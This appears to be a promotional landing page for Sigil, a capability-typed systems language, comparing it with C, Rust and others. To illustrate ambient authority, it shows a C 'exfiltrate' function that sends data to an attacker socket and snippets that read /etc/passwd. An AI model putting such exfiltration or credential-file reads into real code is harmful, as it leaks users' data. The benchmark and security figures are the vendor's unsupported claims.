The only language where authority is a type. No ambient access. Every resource requires an explicit capability handle — enforced at compile time.
cc0. Same performance floor as C — no GC, no runtime, no overhead.Every design decision in Sigil is held to all four pillars simultaneously. Here is what each one means in practice — and what it costs you to go without it.
Sigil compiles directly to machine code via cc0. There is no virtual machine, no garbage collector, no interpreter, no JIT warmup. The first instruction your program runs is your code.
This matters in real systems: a GC pause in a medical monitor misses a cardiac event. A JIT warmup in an automotive ADAS node delays obstacle detection. A Python-based IoT daemon burns 80% of a $4 microcontroller's RAM on the interpreter.
| Language | Runtime overhead | GC pauses |
|---|---|---|
| Sigil | ~1.02× C | None |
| C | 1.0× (baseline) | None |
| Rust | ~1.05× C | None |
| Go | ~1.4× C | 1–10 ms |
| Java | 2–4× C | 10–100 ms |
| Python | 30–100× C | Unpredictable |
fn process_sensor(buf: &[u16]) -> f32 {
let sum: u64 = buf.fold(0, |a, x| a + x);
sum as f32 / buf.len() as f32
}
// Compiles to 6 ARM instructions. No allocation.
def process_sensor(buf):
return sum(buf) / len(buf)
# 50× slower. Allocates list objects. GIL contention.
Capability handles in Sigil are compile-time constructs. At runtime they are just typed pointers — zero bookkeeping, zero metadata, zero overhead. The security model costs nothing at runtime because it is enforced at compile time.
Compare to Java's security manager (runtime policy checks on every privileged call), or SELinux (kernel-level policy lookup on every syscall). Sigil's authority model is resolved before the binary exists.
| Language | Security cost | Binary size |
|---|---|---|
| Sigil | Zero (compile-time) | Minimal |
| C + SELinux | ~3–8% (kernel policy) | Small |
| Java | Runtime checks + GC | JVM (>50 MB) |
| Python | Interpreter + GC | Interpreter (>20 MB) |
struct App {
fs: Cap<FileRead>, // 8 bytes. No runtime check.
net: Cap<NetConn>, // 8 bytes. No runtime check.
log: Cap<LogWrite>, // 8 bytes. No runtime check.
}
// Authority verified at compile time. Runtime: 0 cycles.
// Deprecated in Java 17 — too slow, too complex
SecurityManager sm = System.getSecurityManager();
if (sm != null)
sm.checkRead(path); // Policy lookup EVERY call
In every other systems language, authority is ambient. Any function can call open(), connect(), or exec() — because the OS grants that authority to the whole process, and the language does nothing to constrain it.
In Sigil, authority is explicit and typed. A function that does not receive a Cap<FileRead> cannot read files — not because of a runtime policy, but because the program literally cannot compile. The SolarWinds attack, the Log4Shell exploit, and xz-utils backdoor all relied on the assumption that malicious code, once executing, inherits the full authority of its host process. Sigil structurally eliminates that assumption.
Rust prevents memory bugs (use-after-free, buffer overflow). Sigil prevents authority bugs (a compromised dependency silently reaching network, disk, or hardware). Both matter. Sigil subsumes Rust's memory safety guarantees and adds the authority model on top.
// This is valid C anywhere in your codebase —
// including inside a third-party library you trust.
int exfiltrate(char *data) {
int s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, &attacker, sizeof(attacker));
send(s, data, strlen(data), 0);
}
fn exfiltrate(data: &Bytes) {
// ERROR: no Cap<NetConn> in scope
// connect() does not exist as a free function.
// This does not compile. Period.
}
fn fetch(net: Cap<NetConn>, url: Str) -> Result<Bytes> {
net.connect(url)?.read_all() // Authority explicit
}
C has over 200 documented forms of undefined behavior. Signed integer overflow, null pointer dereference, out-of-bounds access, data races — any of them can cause a conforming C compiler to produce output that does anything at all. This is not theoretical: the Linux kernel removes 1–3 CVEs per week caused by UB in C.
Sigil has no undefined behavior. Every operation has a defined outcome. An out-of-bounds access produces a trap, not a security hole. Integer overflow is defined (wrapping, saturating, or panic — you choose at the call site). Data races are structurally impossible without explicit concurrent capability grants.
| Language | UB forms | Data races |
|---|---|---|
| Sigil | None by design | Structurally impossible |
| Rust | None (safe subset) | Prevented by borrow checker |
| C | 200+ | Possible, silent |
| C++ | 200+ (+ more) | Possible, silent |
| Go | Minimal | Detector available, not enforced |
int buf[64];
buf[64] = 0xdeadbeef; // UB: out of bounds
// Compiler may: delete the bounds check,
// corrupt the stack, allow arbitrary exec.
int x = INT_MAX + 1; // UB: signed overflow
// Optimizer may eliminate safety checks that
// "can't be reached" — CVE-2021-3156 pattern.
let buf: [i32; 64] = [0; 64];
let x = buf[idx]; // Trap on OOB — always, by spec
let y = i32::MAX.wrapping_add(1); // Defined: wraps
let z = i32::MAX.saturating_add(1); // Defined: i32::MAX
let w = i32::MAX.checked_add(1)?; // Defined: None
Sigil is a systems programming language that treats security as a first-class property of the type system — not an afterthought.
Sigil targets bare metal — x86-64, ARM32, and ARM64. It produces small, fast native binaries with no runtime, no garbage collector, and no hidden allocation. The cc0 compiler is self-hosted: written in Sigil, compiling Sigil. From bootloaders to operating systems, Sigil operates at the lowest level of the stack.
In Sigil, every resource access — files, network, hardware, timers — requires a typed capability handle. There is no ambient authority. A function that does not receive a Cap<FileRead> literally cannot open a file. A library that does not receive Cap<NetConn> cannot make a network call. This is enforced by the compiler, not by convention or code review.
The Sigil compiler, cc0, is written entirely in Sigil. This means every safety and capability guarantee the language provides is applied to the compiler itself. No C bootstrap required for production builds. The compiler targets the same platforms it produces code for, and the full bootstrap story is documented and reproducible.
Other languages let any function reach out to the OS freely. Sigil makes that structurally impossible. Compare how C, Rust, and Sigil handle the same operation.
// Any function can open any file.
// No explicit authority needed.
// A malicious dependency can
// read /etc/passwd right now.
FILE *read_config() {
return fopen(
"/etc/passwd",
"r"
);
}
// Nothing stops this. Ambient.
// Rust prevents memory bugs.
// But any function can still
// reach the filesystem freely.
fn read_config() -> String {
// No capability needed.
// Ambient FS access.
std::fs::read_to_string(
"/etc/passwd"
).unwrap()
}
// Still ambient. Rust stops
// memory bugs, not this.
// Must receive a FileRead cap.
// No cap passed = no access.
// Enforced by the compiler.
fn read_config(
fs: Cap<FileRead>
) -> Result<Config> {
let f = fs.open(
"/etc/sigil/config.sg"
)?;
Config::parse(
f.read_all()?
)
}
// No cap = compile error.
A side-by-side look at the properties that matter most for systems programming. Data reflects each language's type system and standard library design.
| Language | Memory Safe | Cap Security | GC | Systems-Level | Self-Hosted | UB-Free |
|---|---|---|---|---|---|---|
| Sigil | ✓ | ✓ | ✗ None | ✓ | ✓ | ✓ |
| Rust | ✓ | ✗ | ✗ None | ✓ | ✓ | ~ unsafe exists |
| C | ✗ | ✗ | ✗ None | ✓ | ✓ | ✗ |
| C++ | ~ opt-in | ✗ | ✗ None | ✓ | ✓ | ✗ |
| Go | ✓ | ✗ | ✓ GC | ~ | ✓ | ~ |
| Zig | ~ opt-in | ✗ | ✗ None | ✓ | ✓ | ~ |
| Ada/SPARK | ✓ | ✗ | ~ opt | ✓ | ✓ | ✓ SPARK |
| Swift | ✓ | ✗ | ~ ARC | ✗ | ✓ | ~ |
✓ = yes ✗ = no ~ = partial/conditional. GC column: ✗ None = no GC (desired for systems work). Cap Security = authority enforced by type system at compile time, not by convention.
Normalized runtime overhead (lower is better, C = 1.0). Security does not require a performance penalty. Sigil's overhead over C is within measurement noise.
Relative runtime overhead normalized to C. Values are representative benchmarks; exact figures vary by workload. Python bar truncated — actual overhead is ~50×.
Security is multidimensional. Sigil is designed to lead across all four axes that matter for systems security.
Every capability is explicit. Every resource access is typed. The compiler enforces what code review cannot.
// hello.sg — the Cap<Stdout> is passed from main's environment
fn main(env: Env) -> ExitCode {
env.stdout.println("Hello, world!");
ExitCode::Ok
}
// C — printf has ambient access to stdout, no authority needed
int main() {
printf("Hello, world!\n");
return 0;
}
// Any code in this process can also write to stdout.
// There is no distinction between trusted and untrusted output.
// The FileRead capability is passed explicitly — not summoned from thin air.
// A library function that doesn't receive Cap<FileRead> cannot open files.
fn read_config(fs: Cap<FileRead>) -> Result<Config> {
let f = fs.open("/etc/sigil/config.sg")?;
Config::parse(f.read_all()?)
}
// Structs can hold capabilities as data — authority is composable
struct App {
fs: Cap<FileRead | FileWrite>,
log: Cap<LogWrite>,
}
fn App::run(&self) -> Result<()> {
let cfg = read_config(self.fs)?;
self.log.info("config loaded");
// self.fs cannot do NetConn — that capability was never granted
Ok(())
}
// No capability threading. Any code can open any file.
Config read_config() {
FILE *f = fopen("/etc/sigil/config.sg", "r");
// A supply-chain attack here gets the same fopen() you do.
// It can open /etc/passwd, /etc/shadow, any path.
return parse_config(f);
}
// Must receive Cap<NetConn> to make any network call.
// A function without this cap cannot reach the network — period.
fn fetch(net: Cap<NetConn>, url: Str) -> Result<Bytes> {
let conn = net.connect(url)?;
conn.read_all()
}
// Capability delegation — you can narrow what a callee receives
fn restricted_fetch(
net: Cap<NetConn>
) -> Result<Bytes> {
// narrow to a specific host before passing inward
let scoped = net.restrict_host("api.sigil.grio.co");
fetch(scoped, "https://api.sigil.grio.co/status")
}
// Rust: memory-safe, but network access is ambient.
// Any async fn can connect to any host.
async fn fetch(url: &str) -> Result<Bytes, Error> {
// No capability needed. Ambient TCP access.
let resp = reqwest::get(url).await?;
resp.bytes().await
}
// A compromised dependency calling fetch() here
// can connect to any server it wants.
Sigil is the foundation language of the sigilOS project — a capability-secure operating system built entirely in Sigil.
sigilOS is a full operating system — kernel, drivers, filesystem, networking, window manager, and userland — written entirely in Sigil. Every component is capability-bounded at the language level. Drivers that don't hold a hardware capability cannot touch hardware. System services that don't hold a filesystem capability cannot read or write files. The capability model isn't bolted on top of sigilOS — it's the substrate everything is built on.
sigilOS targets ARM32, ARM64 (including Raspberry Pi 3+), and x86-64. It compiles with cc0, the self-hosted Sigil compiler.
Install the cc0 compiler and write your first capability-typed program in minutes.
The installer places the cc0 compiler in ~/.sigil/bin/ and adds it to your path. Targets: x86-64 Linux/macOS, ARM64 Linux.
Create hello.sg. Import std::io, declare fn main(env: Env), and call env.stdout.println("Hello"). Capability threading starts here.
Run cc0 hello.sg -o hello then ./hello. No runtime required. The output binary is self-contained native code.